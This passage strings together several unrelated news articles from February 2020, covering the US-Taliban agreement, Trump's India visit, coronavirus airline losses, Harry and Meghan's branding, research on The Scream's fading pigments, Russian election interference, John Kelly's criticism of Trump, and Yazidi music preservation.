with the Taliban on February 29. Intra-Afghan negotiations will start soon thereafter, and will build on this fundamental step to deliver a comprehensive and permanent ceasefire and the future political roadmap for Afghanistan, Pompeo said. But there is still little clarity over the negotiations between the Taliban and Afghan society, which are anticipated to begin in Norway days after the February 29 signing. Both parties will make arrangements for the release of prisoners, structure a path for intra-Afghan negotiations with various political parties of the country and finally lay the groundwork for peace across the country with the withdrawal of all foreign forces and not allowing the land of Afghanistan to be used against security of others, a Taliban statement said on February 21. So that our people can live a peaceful and prosperous life under the shade of an Islamic system. But most Afghan oppose the Islamic system the Taliban implemented during their control over most of the country in the 1990s. Formally called the Islamic Emirate of Afghanistan, the Taliban government implemented strict Islamic punishments called Hudood, and harshly policed the countrys multiethnic cities to enforce a strict moral code called Munkirat. Taliban leaders are clearly bent on cultivating an image of inclusion and tolerance in the runup to signing an agreement with the United States. "If we can reach an agreement with a foreign enemy, we must be able to resolve intra-Afghan disagreements through talks," the groups deputy leader Sirajuddin Haqqani wrote in an optimistic op-ed in the New York Times on February 20. He is considered the leader of the Haqqani network, which is blamed for some of the most devastating attacks on Afghan civilians. The FBI still offers a $5 million bounty for information leading to his arrest. Afghan elites, on the other hand, are not so optimistic. I have already shared my concerns with the people that holding elections in a situation where conducting a fair and transparent election is not possible will lead to a crisis and will also disturb the peace process, former President Hamid Karzai said. Strong U.S.-Afghan relations are possible only when the U.S. proves its good intentions through active support for a peaceful, united and sovereign Afghanistan, he tweeted after meeting the U.S. peace envoy Zalmay Khalilzad on February 21. Contradictory remarks by the international institutions involved in the elections are a clear sign of external efforts to divide the Afghan people and weaken the country. Karzai was alluding to Abdullahs criticism to of a senior EU officials message congratulating Ghani over his victory. The Indian government, the president of Sri Lanka and the Amir of Kuwait have congratulated Ghani. The United Nations Assistance Mission says it stands ready to welcome and work with the future administration but has taken note of concerns that have been made by candidates and their supporters following the announcement of the final results. But Russian Foreign Ministry spokeswoman Maria Zakharova said that her country is concerned about the controversy around the results of the presidential election in Afghanistan, which could further worsen the political situation in the country. The United States, however, has refrained from congratulating Ghani. Our priority, and what we believe to be the priority of most Afghans, remains peace and the peace process, said Molly Phee, Khalilzads deputy at the State Department. In Kabul this week, Khalilzad met with all sides of the Afghan political divide. If the past 18 years are any indication, Washington might broker deals among the Afghan political elites. Afghanistans predatory neighbors, however, are capable of fomenting and accentuating divisions among its leaders and their supporters. While Pakistan claims to be wholeheartedly supporting and to have helped the peace process, Iran still remains a wild card. Tehrans tensions with Washington could serve as an incentive to preserve what its leaders see as their interests by fragmenting a fragile neighbor. EDWARDSVILLE With Fat Tuesday quickly approaching, A Little Taste of Heaven Bakery owner Lindsey Wulfing and her crew have been busy in the kitchen. But shes not complaining. People keep finding out about us and keep coming back, which is great, Wulfing said, after three years of sole ownership. Wulfings average day consists of being at work by 4 a.m. Once in the doors, she starts the ovens and begins working on various pastries like scones, turnovers and danishes. Then, she has just 30 minutes to start icing and baking cookies for her early birds. Sometimes, though, having a smaller bakery can be tricky. I spend about an hour and a half juggling eight timers with just two ovens, she explained. You definitely need to be wide awake and ready for that. But during the holidays, the staff is busier making specialty items. We have been making King Cakes for orders, then we will try to have some on hand in-store as well, Wulfing added. She explained the tradition of King Cakes, which is to have a toy baby hidden in each of them. The tradition started as a way to symbolize baby Jesus and now symbolizes luck and prosperity to whoever finds it first. However, due to choking concerns, Wulfing said that the baby will be placed alongside the cake, not in it. The shop will also have hand-frosted cookies decorated in Mardi Gras colors ready for purchase until Feb. 25. We decorate them [cookies] by hand which means no two cookies are exactly the same, Wulfing said. We will be getting ready for Easter orders soon. We get a decent amount of orders for a lot of occasions. One of those occasions was when Little Taste of Heaven made cookies for Barnes-Jewish Hospital in St. Louis to celebrate its 10,000th successful organ transplant. Its great to see something like that, this big hospital comes out to Edwardsville and asks us to do it, she said. Overall, delivering on customer experience is what makes a difference, Wulfing said. We are kind of like the Cheers of bakeries. The bakery, located at 219 Hillsboro Ave., has been in operation since 2011. It opens for business at 6 a.m. daily and closes at 5 p.m. Monday through Friday and 6 a.m. to noon Saturday and Sunday. The White House will decide if United States President Donald Trump will visit the Sabarmati Ashram during his day-long trip to Ahmedabad on February 24, Gujarat chief Minister Vijay Rupani said on Friday. Rupani's statement came in the backdrop of speculation in the last two days that the US president will not visit the Sabarmati Ashram, a place closely associated with Mahatma Gandhi. Earlier it was announced that after landing at the airport in Ahmedabad on February 24, Trump will go to the Sabarmati Ashram and spend around 30 minutes there. "All preparations are in final stages for the visit of US President Donald Trump. He will directly come to Ahmedabad from Washington. After that a grand roadshow will be organised. Then he will go to the Motera stadium for 'Namaste Trump' programme, where two top leaders of the world (Trump and Prime Minister Narendra Modi) will be present," Rupani told reporters. Asked about Trump's visit to the Sabarmati Ashram, Rupani said, "The White House will decide about it and we will be informed soon." "Gujarat is proud to host the US President and people are taking pride that he is coming directly to Ahmedabad from from Washington. This is possible due to PM Narendra Modi's friendship with Trump," he said. "This visit will also prove to be good for India," Rupani added. Meanwhile, Amrut Modi, a trustee of the Sabarmati Ashram, said they have not yet received any intimation about the cancellation of Trump and Modi's visit to the ashram. "Preparations have been going on since the last one week. Since there is no official announcement yet (about cancellation), we believe that Trump is coming," he said. He had earlier said that they would gift Mahatma Gandhi's autobiography and charkha to Trump during his visit to the ashram. Sources said that route of Trump's roadshow will also be changed if the US president skips his visit to the Sabarmati Ashram. "It will be a shorter version of the 22-km roadshow presently planned," they said. Sabarmati Ashram is the place from where Mahatma Gandhi led India's non-violent freedom struggle. Over the last few years, leaders from several countries, including Chinese President Xi Jinping, Japanese Prime Minister Shinzo Abe, Israeli Prime Minister Benjamin Netanyahu and Canadian Prime Minister Justin Trudeau, have paid a visit to the ashram. (CNN) Qantas, Air France and KLM are taking a big hit from the novel coronavirus. The airlines on Thursday estimated the financial cost from the outbreak, which has forced airlines around the world to cancel flights in Asia. Qantas, the flagship carrier of Australia, reported the coronavirus could reduce its profit by up to 150 million Australian dollars ($100 million) in the second half of its fiscal year. Hours later, Air France-KLM said that the virus could slash its earnings by as much as 200 million ($216 million) between February and April. The global airline industry is facing significant financial losses after dozens of carriers canceled or reduced flights to Asia because of the coronavirus outbreak. Air France and KLM have suspended flights to Shanghai and Beijing. Qantas has already canceled its service to Shanghai until the end of May. Qantas CEO Alan Joyce said Thursday that the airline plans to reduce flights across Asia by 15 percent until the end of May because of weak demand to Hong Kong, Singapore and Japan. "We have a lot of flexibility in how we respond," Joyce said during an earnings presentation. "We can extend these cuts, cut deeper if we need to, or add capacity back in." The International Air Transport Association said Thursday that its initial assessment showed that the coronavirus could cost carriers in Asia nearly $28 billion in lost revenue. The trade group said that carriers based outside the region are likely to suffer a smaller sales hit of $1.5 billion. The International Air Transport Association said its forecast assumes that the center of the public health emergency remains in China. Earnings reports Qantas reported pre-tax profit of 771 million Australian dollars ($512 million) for the six months ended in December, a slight decline from the same period a year earlier. It also announced a share buyback of 150 million Australian dollars ($100 million). Shares rose nearly 6% in Sydney. Air France-KLM said that its operating income for 2019 dropped to 1.14 billion ($1.2 billion) as fuel costs increased. This story was first published on CNN.com, "Qantas, Air France, KLM tally up coronavirus costs." Harry and Meghan have said they won't use the word royal in their branding. (Getty Images) Prince Harry and Meghan will not use the word royal in any of their branding once they step back as senior members of the Royal Family, a spokeswoman for the duke and duchess confirmed. It comes after a report that Meghan had told friends there was no legal reason for her not to use the word royal. The duke and duchess will step back from royal duties on 31 March, but there was an ongoing review of the use of the word royal in their future branding, which is limited in the UK because of trade mark law. The couple has also shared details of their transition away from their senior royal roles in a post on Instagram, in which they spoke about having to get rid of their office in Buckingham Palace and losing 15 members of staff. The spokeswoman said: While the duke and duchess are focused on plans to establish a new non-profit organisation, given the specific UK government rules surrounding use of the word Royal, it has been therefore agreed that their non-profit organisation, when it is announced this spring, will not be named Sussex Royal Foundation. The Duke and Duchess of Sussex do not intend to use SussexRoyal in any territory post Spring 2020. Read more: Meghan Markle 'jumped ship' instead of fighting racism in UK, says lecturer Harry and Meghan had been using Sussex Royal as their branding on their website and Instagram, and it was thought they would use it as the name of their new charitable foundation. A spokesman said earlier in the week that the use of the word royal was being considered as the pair would not be undertaking official royal duties. Plans to trademark SussexRoyal have also been abandoned. The couple announced they wanted to step back from their roles as senior members of the royal family in January and its since been confirmed they will be able to do so from 1 April. Read more: Will losing Sussex Royal impact Harry and Meghan's brand power? They will retain their names of the Duke and Duchess of Sussex but will no longer use their HRH titles. Story continues In a post shared through their Instagram stories on Friday evening they wrote: The Duke and Duchess of Sussex will retain their HRH prefix thereby formally remaining known as His Royal Highness The Duke of Sussex and Her Royal Highness The Duchess of Sussex. The Duke and Duchess of Sussex will no longer actively use their HRH titles as they will no longer be working members of the family as of spring 2020. The couple said they will require effective security to protect them and their son, but that they could not shared further details because it is classified information. Speaking about their London staff, the post explains the team was mostly funded by The Prince of Wales and so had to be closed. The statement said: Over the last month and a half, the duke and duchess have remained actively involved in this process, which has understandably been saddening for the duke and the duchess and their loyal staff given the closeness of Their Royal Highnesses and their dedicated team. Harry and Meghan have also denied they will be starting a foundation, saying they intend to develop a new way to effect change and complement the efforts made by so many excellent foundations globally. The couple closed their post by saying they eagerly await the opportunity to share more with you and greatly appreciate your support. They will spend most of their time in North America, but have a number of duties to carry out in the UK before they begin their new life. The couple won't carry out more royal duties after 31 March. (Getty Images) Read more: Date Prince Harry and Meghan will end royal duties confirmed Harry announced he would be at the recording of the Invictus Games song with Jon Bon Jovi in London on 28 February. They will both be attending the Mountbatten Festival of Music on 7 February and the Commonwealth Day service on 9 March. Meghan will mark International Womens Day on 8 March. A spokesman for the couple previously said much of their work will remain in the same areas they focused on during their time as working royals. the couple announced they wanted to carve their own path. (Getty Images) Read more: Lecturer who clashed with Laurence Fox over Meghan says 'I've had to grow a pair They will keep their private patronages but Harry will be stripped of his military honours. Harry and Meghan set up the website of sussexroyal.com which was registered in March 2019 and detailed the couples plans for their roles in the monarchy and relationship with the media. The @SussexRoyal Instagram account, started in April 2019, has since amassed 11.2 million followers. EU budget: night of bilateral talks does not solve impasse 'Frugal four' resist. Germany, Finland also critical (ANSAmed) - BRUSSELS, FEBRUARY 21 - After a night of bilateral talks, which ended at 6:30 am, negotiations on the European 2021-2027 budget remained in a situation of impasse. The so-called 'frugal four' - Austria, Denmark, the Netherlands and Sweden - that would like a parsimonious budget (1% of GDP) and structural discounts, have maintained their position. They will gather again on Friday morning to coordinate before the resumption of the summit at 11 am. Finland and Germany remain strongly critical and already clarified last night that the proposal tabled by European council President Charles Michel, (1,074%) does not represent a starting point for negotiations, European diplomatic sources said. (ANSAmed). As of August 26th, 2021 Yahoo India will no longer be publishing content. Your Yahoo Account Mail and Search experiences will not be affected in any way and will operate as usual. We thank you for your support and readership. For more information on Yahoo India, please visit the FAQ Save Log in , register or subscribe to save articles for later. Normal text size Larger text size Very large text size The Scream is fading. Paint samples from the 1910 version of Edvard Munchs famous image of angst have been under the X-ray, the laser beam and even a high-powered electron microscope, as scientists have used cutting-edge technology to try to figure out why portions of the canvas that were a brilliant orangish-yellow are now an ivory white. Since 2012, scientists based in New York and experts at the Munch Museum in Norways capital, Oslo, have been working on this canvas which was stolen in 2004 and recovered two years later to tell a story of colour. But the research also provides insight into Munch and how he worked, laying out a map for conservators to prevent further change, and helping viewers and art historians understand how one of the worlds most widely recognised paintings might have originally looked. The art world is increasingly turning to labs to understand how paintings from the late 19th and early 20th centuries are behaving. Vincent van Goghs chrome yellows, some of which have started to brown, and his purples, some of which have turned blue, have been widely studied. But less is known about Munchs palette, and scientists, using updated technologies and tools like transmission electron microscopes, are breaking new ground. Jennifer Mass, president of the Scientific Analysis of Fine Art lab in Harlem, whose team is on The Scream research, explained the science recently in her lab. She pointed to a photograph of what looked like a set of stalagmites: it was the surface of The Scream seen under a microscope. This is really, really not what you want to be seeing, she said. Jennifer Mass examines some old paint; the work of her Scientific Analysis of Fine Art lab is in increasing demand from the art world. Credit:Thomas Prior/The New York Times Nanocrystals are growing on the painting, held by the Munch Museum; stark evidence of the degradation near the central figures mouth, in the sky and in the water. Conservators and researchers at the Munch Museum contacted Mass, who has been working as a fine art scientist since she was a postdoctoral fellow at New Yorks Metropolitan Museum of Art in 1995. She is also a professor at the Bard Graduate Centre and has partnered with many major institutions in research. Advertisement Eva Storevik Tveit, paintings conservator at the Munch Museum, said the museum had sought out Mass because of her expertise in cadmium yellow, which she had studied in Matisses work, and because of the high-quality scientific tools the lab has at its disposal. (One of Masss colleagues, Adam Finnefrock, once took tiny samples of Cezannes emerald-green pigments to a particle accelerator at Stanford University.) Masss team was able to narrow down Munchs paint choices using his paint tubes, some 1400 of which are held by the Munch Museum. And the museum, which will move to a new building this year, needs to figure out how to best display the painting, balancing conservation concerns with viewing experience. Munchs materials have now been more fully analysed, and the research, due out in coming months, fleshes out a more complete story about the painting. Masss team was able to narrow down Munchs paint choices using his paint tubes, some 1400 of which are held by the Munch Museum. Over time, with exposure, the yellow cadmium sulphide has oxidised into two white chemical compounds: cadmium sulphate and cadmium carbonate. The analysis, Mass said, has implications for Impressionist through expressionist paintings made between the 1880s and the 1920s painted with cadmium yellow, 20 per cent of which she estimates are experiencing similar phenomena. Clockwise from left: the rectangles show colour degradation; as the colours are today; and how the original may have looked. Credit: Munch Museum via The New York Times Mass and her team work with museums, private clients, auction houses, art fairs and artists on everything from large-scale contemporary outdoor sculpture in the Hamptons on Long Island to ancient Roman sculpture. They are a part of a niche in the art world boutique labs that operate outside of large institutions, though often in tandem with them something that has become more common as the demand for scientific research has increased. Advertisement Perhaps best known was James Martins Orion Analytical, which was purchased by Sothebys and became the first in-house lab of its kind at a major auction house. Other such companies include Geneva Fine Art Analysis, based in Genevas Free Port, and the London-based Art Analysis & Research. Often they are called in by collectors or potential buyers who are interested in questions of authenticity. Theres been a real explosion in the field, Nicholas Eastaugh, founder and chief scientist at Art Analysis & Research, said. There are a lot more people coming in with new approaches, new ideas and new insights. The colours of the late 19th century and early 20th century are fading especially rapidly because of changes that took place in paint making. Whether for conservation or authentication, the work often reveals something about an art object that the naked eye cant see: how old a painting really is, whether it contains drawings underneath its surface, or what factors in the environment might be causing it to deteriorate. This last question is particularly important when it comes to artists working in the same period as Munch, as research is just starting to illuminate the era. There tends to be an interest in the bigger-name artists, for obvious reasons, Eastaugh said. But actually these are problems that will affect all artists of that period if they are using these materials. He said that more research would be helpful in showing more general patterns in the pigment degradation mechanism. The colours of the late 19th century and early 20th century are fading especially rapidly because of changes that took place in paint making. Paints had been made by hand-grinding minerals extracted from the ground or using dyes made from plants and insects. The Industrial Revolution brought about the production of synthetic pigments like cadmium or chrome yellows, which artists would mix with oil and fillers. Artists began experimenting with these synthetic pigments, which were sometimes haphazardly prepared and untested for longevity but were exceptionally bright enabling the brilliant palettes of fauvism, post-Impressionism and modernism. Advertisement At that moment, many artists were abandoning traditional painting techniques, said Lena Stringari, deputy director and chief conservator of New Yorks Solomon R. Guggenheim Museum and Foundation, who has studied colour change and pigments in van Goghs work. Many artists were working in plein-air, and they were experimenting with various paints and colour theories, she said. There was this explosion of colour with the rejection of the academy. That made the new pigments popular, Mass said, but they were unpredictable. We cant say, Oh, its a tree, so we know that the foliage would be green, she explained, because in the case of Matisse or Munch, thats not necessarily true, so we need to turn to science. Recapturing these hues is impossible, but science can get us closer. Koen Janssens, a professor in the chemistry department at Belgiums University of Antwerp who has studied the pigments of van Gogh, Matisse and others, said, The idea is to try, in a sort of virtual way, to reverse time. Conservators wouldnt apply new pigments to a canvas but digital reconstructions can gesture at the past. Mass predicts a shift toward augmented reality in reconstructions, so that you might hold up your phone to a painting and see its former colour layered on the canvas. The Van Gogh Museum in Amsterdam. Research has altered the way art historians see some of the artist's works. Credit:Shutterstock It hasnt always been a totally easy marriage between physics, organic chemistry and the art world, said Kilian Anheuser, head scientist at Geneva Fine Art Analysis. Until very recently, the art historian expert reigned supreme, and it was really the art historians who insisted on having the last word, he said. Then in recent years weve had quite a number of forgery scandals where things have come to light through scientific investigation, and this has turned the tables a bit. Advertisement Donald Trump is again breaking with his own intelligence agencies, calling a warning senior US national security officials delivered about Russia again trying to interfere in an American election a "disinformation campaign" orchestrated by Democrats. The president has time and again publicly and privately rejected the findings of his intelligence and other national security officials, and has never fully endorsed the notion that Moscow was behind meddling in the 2016 election that put him in the White House. All 16 US intelligence agencies issued a finding agreeing that Russia was responsible, the kind of unanimous conclusion that is difficult to achieve in the complicated intelligence realm. "Another misinformation campaign is being launched by Democrats in Congress saying that Russia prefers me to any of the Do Nothing Democrat candidates who still have been unable to, after two weeks, count their votes in Iowa," Mr Trump tweeted on Friday. He was referring to a closed-door briefing US intelligence officials delivered to a group of senior lawmakers, including Democrats who run House national security committees. The president reportedly was angry that House Intelligence Committee Chairman Adam Schiff was one of the members briefed about Russia's renewed efforts to interfere in the election, and at the officials' conclusion that the Kremlin would prefer keeping him in the White House for four more years. Mr Schiff was House Democrats' leading impeachment manager during the Senate trial that led to Mr Trump's acquittal on charges of abuse of power and obstructing a congressional investigation. Mr Trump reportedly chided then-Acting Director of National Intelligence Joseph Maguire for briefing the group of lawmakers even though such briefings have long been commonplace under presidents of both parties. Though Maguire was soon required to leave his post under US law, acting officials are time-limited Mr Trump pushed him out early and replaced him with Richard Grenell, a loyalist who will also remain in his current role as US ambassador to Germany. Democrats have howled over Mr Grenell's appointment and his lack of any intelligence experience, with top Republicans defending the move by saying he receives classified briefings and information via his current role. Because Congress has some constitutional powers over national security, as well as its oversight role of the executive branch and control of taxpayer funds, commanders in chief have tried to keep senior members of both parties informed about threats and foreign operations. Some Democrats, however, have groused that such briefings have been less frequent and less informative since Mr Trump took office. (On the flip side, the late Senator John McCain, a Republican, frequently fumed that national security briefings by officials sent by then-President Barack Obama, a Democrat, were equally non-illuminating.) Mr Schiff took to Twitter on Thursday to defend the practice of member briefings on threats and other national security topics. "We count on the intelligence community to inform Congress of any threat of foreign interference in our elections," he wrote. "If reports are true and the president is interfering with that, he is again jeopardizing our efforts to stop foreign meddling." He then harkened back to a warning he and other House Democratic impeachment managers delivered during their hours of making their prosecution case on the Senate floor, writing: "Exactly as we warned he would do." The House Democrats told Senate Republicans, while unsuccessfully pleading for them to convict and remove Mr Trump, that an acquittal would embolden him to go even further in busting traditional Washington norms and possibly blast through laws, all for his personal benefit. "This is a crisis," former CIA Director John Brennan told MSNBC on Friday, saying Mr Trump wants to "squelch" the intelligence community. The president has been reluctant to clearly acknowledge Russia meddled in the 2016 election, even though his administration has retaliated via sanctions and other moves. Some have suggested Mr Trump feels insecure, that him condemning Moscow or touting his administration's efforts to punish Vladimir Putin's government would be seen as a sign his election was aided by Russians. For their part, Kremlin officials on Friday denied the US intelligence officials' allegations. "These are more paranoid announcements which, to our regret, will multiply as we get closer to the (U.S.) election," said Kremlin spokesman Dmitry Peskov, according to Reuters. "They have nothing to do with the truth." Notably, Mr Trump delivered a similar message, ending his tweet with this dig at House Democrats and other entities that have investigated his campaign, business dealings and presidency: "Hoax number 7!" Former White House chief of staff John Kelly levels harshest criticism yet at Trump originally appeared on abcnews.go.com Former White House chief of staff John Kelly has leveled some of his harshest criticism yet at President Donald Trump, taking issue with his actions on Ukraine, U.S. Army Lt. Colonel Alexander Vindman, immigration and the press. Trump immediately fired back on Twitter. PHOTO: White House chief of staff John Kelly listens as President Donald Trump speaks during a lunch with governors in the Roosevelt Room of the White House in Washington, June 21, 2018. (Evan Vucci/AP, FILE) Speaking to students and guests at Drew University in New Jersey on Wednesday night, Kelly said that Vindman was just doing his job in reporting "an illegal order," migrants are overwhelmingly good people and not all rapists, and Trumps decision to condition military aid to Ukraine on an investigation into his political rival disrupted longstanding U.S. policy. MORE: Trump defends hitting back at former chief of staff John Kelly over impeachment comment Trump quickly responded by attacking the retired Marine Corps general, saying that he couldnt have terminated Kelly fast enough and that he came in with a bang, went out with a whimper. He said Kelly just cant keep his mouth shut. ....which he actually has a military and legal obligation to do. His incredible wife, Karen, who I have a lot of respect for, once pulled me aside & said strongly that John respects you greatly. When we are no longer here, he will only speak well of you. Wrong! Donald J. Trump (@realDonaldTrump) February 13, 2020 But Trump did not directly address Kellys specific criticisms in which he attacked the president on several domestic and foreign policy issues throughout the 75-minute appearance. Regarding Trump's controversial July 25 phone call with Ukraine's president, Kelly said it changed longstanding U.S. policy and that Vindman reported it because is was tantamount to hearing "an illegal order." Through the Obama administration up until that phone call, the policy of the U.S. was militarily to support Ukraine in their defensive fight against the Russians, Kelly said. And so, when the president said that continued support would be based on 'X,' that essentially changed. And thats what that guy [Vindman] was most interested in. Story continues PHOTO: National Security Council aide Lt. Col. Alexander Vindman is sworn in to testify before the House Intelligence Committee on Capitol Hill in Washington during a public impeachment hearing of President Donald Trump. (Andrew Harnik/AP, FILE) [Vindman] did exactly what we teach them to do from cradle to grave, Kelly continued. We teach them: Dont follow an illegal order. And if youre ever given one, youll raise it to whoever gives it to you that this is an illegal order, and then tell your boss. Kelly also criticized Trump's handling of North Korea, saying Trump's efforts to end the regime's nuclear program through diplomacy are futile. [Kim Jong Un] will never give his nuclear weapons up, Kelly said. Again, President Trump tried -- thats one way to put it, but it didnt work. Im an optimist most of the time, but Im also a realist, and I never did think Kim would do anything other than play us for a while, and he did that fairly effectively. Kelly also said he didn't believe the press is the enemy of the people, and sharply criticized Russian President Vladimir Putin as someone who sits atop a society in collapse, yet is intent on restoring the glory days of the Soviet Union." He denounced as well Trump's intervention in the case of Eddie Gallagher, a Navy Seal who was convicted last year of posing for photos with the corpse of an ISIS fighter. "He was found guilty of certain thing," Kelly said of Gallagher. He "should have been ashamed of himself and he should have been sent home. So, the idea that the commander in chief intervened there in my opinion, was exactly the wrong thing to do. And had I been there, I think i could have prevented it," Kelly added. MORE: Trump says chief of staff John Kelly will leave at the end of the year PHOTO: White House Chief of Staff John Kelly, right, leans in to talk with President Donald Trump in the Oval Office of the White House in Washington. (Pablo Martinez Monsivais/AP, FILE) "I was disappointed," White House press secretary Stephanie Grisham said on Fox News Thursday morning. "... I saw some of the comments that he made and I was in the room with him when he actually backed the president on many of the things that he is now saying is weren't great." She pushed back specifically on his remarks defending the press, saying she heard Kelly make negative comments about the news media. "I thought it was a little disingenuous," she added. "It's interesting that he is starting to poke his head out and speak a little bit more, just like [former national security adviser] John Bolton, as we're getting close to the election. But I'll just end it with I was disappointed." Bolton came to Kelly's defense Thursday afternoon on Twitter, calling his former colleague "an honorable man." "John Kelly is an honorable man. John and I have disagreed at times, as is commonplace at senior government levels, but he has always served his country faithfully. Conservatives especially have a responsibility to reject baseless attacks upon him," Bolton tweeted. John Kelly is an honorable man. John and I have disagreed at times, as is commonplace at senior government levels, but he has always served his country faithfully. Conservatives especially have a responsibility to reject baseless attacks upon him. John Bolton (@AmbJohnBolton) February 13, 2020 Kelly had defended Bolton just two weeks ago at at a lecture series in Sarasota, Florida, telling an audience he believes the accounts detailed in Bolton's forthcoming book. According to reported excerpts from the book, Bolton claims that Trump conditioned military aid to Ukraine on Ukraine agreeing to investigations into his political rival Joe Biden. Trump has vehemently denied Bolton's reported claims. If John Bolton says that in the book, I believe John Bolton, Kelly said in late January. Every single time I was with him ... he always gave the president the unvarnished truth he added. This is not the first time the two men have exchanged harsh words. Trump attacked Kelly last October, after he said he had warned the president that hiring a yes man to replace him would lead to impeachment. John Kelly never said that, he never said anything like that," Trump said in the statement, released by the White House on Oct. 26, 2019. "If he would have said that I would have thrown him out of the office. He just wants to come back into the action like everybody else does. Although their relationship has been strained since Kelly's departure, Trump told reporters around the time of Kelly's December 2018 resignation, John Kelly will be leaving. I dont know if can say retiring, but hes a great guy. MORE: Former White House chief of staff joins unaccompanied migrant children shelter board Following his time in the Trump White House, Kelly joined the board of Caliburn International, the parent company of Comprehensive Health Services, which operates shelters for unaccompanied migrant children. ABC News' Katherine Faulders contributed to this report. Khartoum, Sudan(PANA) Sudanese Council of Ministers has condemned excessive use of force in handling a demonstration that took place on Thursday in Khartoum in which police used rubber bullets and tear gas to disperse the huge crowd Please allow ads as they help fund our trusted local news content. Kindly add us to your ad blocker whitelist. If you want further access to Ireland's best local journalism, consider contributing and/or subscribing to our free daily Newsletter . Support our mission and join our community now. When the Islamic State (IS) group moved across northern Iraq in 2014, its forces tried to destroy the Yazidi people. Yazidis are an ethnic minority in Iraq. They had lived in the mountains of Kurdistan for a thousand years. IS fighters killed thousands of Yazidis and enslaved many women and girls. The Yazidi culture was threatened with genocide. Now, the British-based AMAR foundation is leading a project that aims to teach young Yazidis the ancient music of their ancestors. The aid group also hopes to create a permanent record of their culture. The British government is providing financial support to the project. Yazidi music is thought to be between 5,000 and 7,000 years old. However, it has never been written down or recorded. Traditional Yazidi musicians hand down the music from one generation to the next. Musicians memorize up to 500 individual pieces of music. There are three kinds of music: traditional folk music, which is linked to agriculture, ceremonial music, and religious music. Now, these sounds are being heard far beyond the homeland in northern Iraq. British violinist Michael Bochmann is leading the AMAR program. This month he invited the musicians to perform at the Trinity Laban Conservatoire of Music and Dance in London. The music of the Yazidi people isessential to their culture, he told VOA. Only a small group of people, the Qawals caste, are permitted to sing the music. There are only 16 of them left, Bochmann added. He said he knew it was important to record the music for future generations. AMAR has made over 100 recordings in northern Iraq. Some were produced at Lalish, the 4,000-year-old spiritual home of the Yazidi. Sound engineers and musicians are also visiting refugee camps, where tens of thousands of Yazidi people still live after the IS campaign. Hundreds of young Yazidis are learning to play the instruments of their culture. They include a stringed instrument known as a tabor, and a kind of drum known as the daf. Among the Yazidis visiting London were several women who had been held captive by Islamic State. Among them was Renas, who was only 14 when IS forces captured her village. She says she faced abuse every day. Renas was later released after her family paid money. She was forced to leave behind the daughter she gave birth to while held captive. Renas says the music project helps her forget the past. I want this support to continue. Thanks to this project, our people did not lose hope. And if they will continue to help us, we will not give up, she told VOA. IS targeted musicians and destroyed instruments in an effort to destroy Yazidi culture. Now, the recordings will be stored at the Bodleian Library in Oxford, and the Mosul and Dohuk libraries in Iraq. During their trip to London, the Yazidis performed for Britains Prince Charles. Ancient Yazidi music, once nearly destroyed, is now sung in a celebration of survival. Im Susan Shand. VOAs Henry Ridgwell reported this story. Susan Shand adapted it for VOA Learning English. George Grow was the editor. Write to us in the Comments Section or on our Facebook page. ______________________________________________________________ Words in This Story folk adj. a of or relating to the common people of a country or region beyond adj. on or to the farther part or side violinist n. one who plays the violin, which is a small stringed instrument essential adj. important caste n. a division of society based upon differences of wealth, rank, or occupation drum n. a musical instrument that is made with a thin layer of skin or plastic stretched over the end of a round frame and that is played by hitting the skin or plastic with sticks or with your hands President Trump went after former Republican House Speaker Paul Ryan in a Thursday tweet, placing blame on the 'Fox Board Member' for negative comments a pundit made about the president on Fox News Channel. 'Could somebody at @FoxNews please explain to Trump hater A.B. Stoddard (zero talent!) and @TeamCavuto, that I won every one of my debates, from beginning to end,' the president wrote. 'Check the polls taken immediately after the debates. The debates got me elected. Must be Fox Board Member Paul Ryan!' Stoddard, a writer for RealClearPolitics, appeared Thursday afternoon on 'Your World with Neil Cavuto' and explained that former New York City Mayor Michael Bloomberg's campaign may not be doomed because Trump, himself, was bad on the debate stage. President Trump went after former House Speaker Paul Ryan in a Thursday tweet, suggesting he was somehow responsible for a pundit on Fox News Channel who was critical of the president's past debate performances President Trump tweeted about Paul Ryan and RealClearPolitics writer A.B. Stoddard while flying to Colorado on Air Force One Thursday afternoon President Trump (right) had a public break-up with the former speaker (left) last summer after a book came out that suggested Paul Ryan believed Trump didn't know anything about governing President Trump tweeted about comments made by RealClearPolitics writer A.B. Stoddard, who was explaining that Mike Bloomberg may not be toast because Trump also didn't perform well during the Republican primary debates 'I think that Donald Trump has disastrous debate performances,' Stoddard said. 'Many answers were so cringeworthy you just couldn't even believe he was still standing on the stage - and he's president.' 'And so I don't think debates kill off normal candidates who do not have a billionaire juggernaut machine,' Stoddard continued. She also suggested that the audience who watched the six Democratic presidential candidates debate at the Paris Theater in Las Vegas consisted of donors - who Bloomberg doesn't need - 'the pundit class' and 'Democratic primary activist voters.' Stoddard suggested that most voters would still get to know Bloomberg through his ads, especially the ones placed online. Trump was on his way to Colorado Springs aboard Air Force One when he sent out the tweet, with the criticism of Ryan seemingly coming out of thin air. Ryan joined the board of Fox Corp. - the parent company of Fox News Channel and Fox Business Network - in March 2019. Ryan had retired from Congress two months before. Since then, Trump has been critical of the ex-speaker, especially on the heels of the release of the book 'American Carnage' by Politico journalist Tim Alberta. Alberta reported on Ryan's thoughts on Trump, including that he believed the longtime businessman 'didn't know anything about government.' 'Paul Ryan, the failed V.P. candidate & former Speaker of the House, whose record of achievement was atrocious (except during my first two years as President), ultimately became a long running lame duck failure, leaving his Party in the lurch both as a fundraiser & leader,' Trump tweeted in July 2019. 'He had the Majority & blew it away with his poor leadership and bad timing. Never knew how to go after the Dems like they go after us.' 'Couldn't get him out of Congress fast enough!' Trump exclaimed. At the end of his show, host Neil Cavuto fact-checked Trump's tweet. He didn't bring up Trump's mention of Ryan, but he did point out that polls showed Trump didn't win the debates. 'When you look at polls that came out from FOX, NBC, CNN, Politico, YouGov and a host of others, the initial read was that he had failed to do well in those debates,' Cavuto told his audience. 'He ultimately won, but he didnt poll well in those debates.' Agartala, Feb 21 : The International Mother Language Day was observed in Tripura on Friday with colourful processions, functions, discussions, seminars and other events. Thousands of students, tribals and non-tribals and people from all walks of life organised a colourful march in different parts of Tripura. They also took part in the main function, organised by the Education Department at Rabindra Satabarshiki Bhavan here. Intellectuals and academicians from Bangladesh took part in the day's main event at Rabindra Satabarshiki Bhavan, where tribal musician Lalrinsem Halam was accorded felicitation. Sponsored by the government and non-government organisations, a variety of cultural programmes were organised across the state. Addressing a function here, Tripura Chief Minister Biplab Kumar Deb said, "In the 1952 Language Movement, many Bangladeshis laid down their lives for supporting Bengali as a state language during the Pakistani rule. International Mother Language Day is a worldwide annual observance held on this 